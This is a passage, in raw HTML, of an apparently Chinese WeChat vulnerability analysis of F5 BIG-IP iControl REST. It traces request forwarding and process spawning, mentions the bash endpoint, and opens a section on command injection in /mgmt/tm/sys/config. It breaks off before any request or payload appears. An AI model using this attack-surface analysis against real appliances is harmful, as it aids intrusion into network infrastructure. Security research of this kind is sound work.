leaf=""> 开头，比如 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/mgmt/tm/util/bash</span></p><span leaf=""> ：</span></div><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100008380" data-ratio="0.36950146627565983" title="null" data-type="png" data-w="1023" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" src="https://wechat2rss.xlab.app/img-proxy/?k=564c959e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxOmYlBuOMXTeYLrEqymOF9mzevPMNGpj0d1KQelicKvOicMNrQyGqGMJFWoqNUI9K9dYWmIYJiawSVQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">在 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">WellKnownPorts</span></p><span leaf="">中列举了合法的</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">URL</span></p><span leaf="">集合。</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">iControl</span></p><span leaf="">中自定义</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">RestWorker</span></p><span leaf="">类型对应</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">API</span></p><span leaf="">请求处理，</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ForwarderWorker</span></p><span leaf="">的</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">onStartCompleted</span></p><span leaf="">注册</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/mgmt</span></p><span leaf="">请求的处理类为</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ForwarderPassThroughWorker</span></p><span leaf=""> ：</span></div><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100008381" data-ratio="0.4915590863952334" title="null" data-type="png" data-w="1007" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" src="https://wechat2rss.xlab.app/img-proxy/?k=6cc0ca8f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxOmYlBuOMXTeYLrEqymOF9GUIl4PPv7Kvg7VKibXuOO6q07jcKfaJv387IDmnicMFZ2T2p88nPxhoQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ForwarderPassThroughWorker#onForward</span></p><span leaf=""> 函数中，首先判断请求 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">url</span></p><span leaf=""> 是否位于 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">mapping</span></p><span leaf=""> 集合中，完成一系列条件判断后，将利用 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">cloneAndForwardRequest</span></p><span leaf=""> 进行请求转发。调用栈如下：</span></div><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008384" class="rich_pages wxw-img" data-ratio="0.7221135029354208" data-type="png" data-w="1022" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=4a701057&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxOmYlBuOMXTeYLrEqymOF9NLyd9GRFQiaytxMY9wCat06qgeEhabxvgMG6bAIVKqqN0ygeaCFFkrg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">最终请求去掉了 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">mgmt</span></p><span leaf=""> ，然后再次转发至 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">8100</span></p><span leaf=""> 端口：</span></div><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008383" class="rich_pages wxw-img" data-ratio="0.55859375" data-type="png" data-w="1024" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=aa1f0f8e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxOmYlBuOMXTeYLrEqymOF90ibBuzEib84a7BLrVtYJA3YT3RAmRuMdBIWqp1Kj4kuel5qK49bznz5g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">此时对应的 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">RestWorker</span></p><span leaf=""> 类型变为 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">PublicWorker</span></p><span leaf=""> ，内部将调用 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ProcessManager#spawnChildUnderCondition</span></p><span leaf=""> 启动新进程进行处理。这里启动的进程为 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ChildWrapper#createChildBuilder</span></p><span leaf=""> 中创建的 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">icrd_child</span></p><span leaf=""> ：</span></div><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100008382" data-ratio="0.4406614785992218" title="null" data-type="png" data-w="1028" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" src="https://wechat2rss.xlab.app/img-proxy/?k=1c764ea6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxOmYlBuOMXTeYLrEqymOF9cUzSLa9dibVOeuqJHtkLn7MBhglSYnicjhPbBcTTG25YJKz0HyRxrF3Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">完整调用栈如下：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008387" class="rich_pages wxw-img" data-ratio="0.610236220472441" data-type="png" data-w="1016" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=d729e50e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxOmYlBuOMXTeYLrEqymOF9j3BzEh3wicHRvyYickicbbiaRdjabeuib8RI4e3wVbbkF0gWgu4aMO6apqQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100008385" data-ratio="0.04429133858267716" title="null" data-type="png" data-w="1016" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" src="https://wechat2rss.xlab.app/img-proxy/?k=c35e7e30&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxOmYlBuOMXTeYLrEqymOF9bicqjlrqOrMS7iactz8CodwDMkmPnsMl4Kwr80t0vgNZwGHibdzFUdc3g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">命令注入漏洞</span></h2><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">漏洞触发点位于接口 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/mgmt/tm/sys/config</span></p><span leaf=""> ，参考 <a href="https://f5-sdk.readthedocs.io/en/latest/userguide/commands.html" target="_blank">https://f5-sdk.readthedocs.io/en/latest/userguide/commands.html</a> ，构造请求如下：</span></div><pre 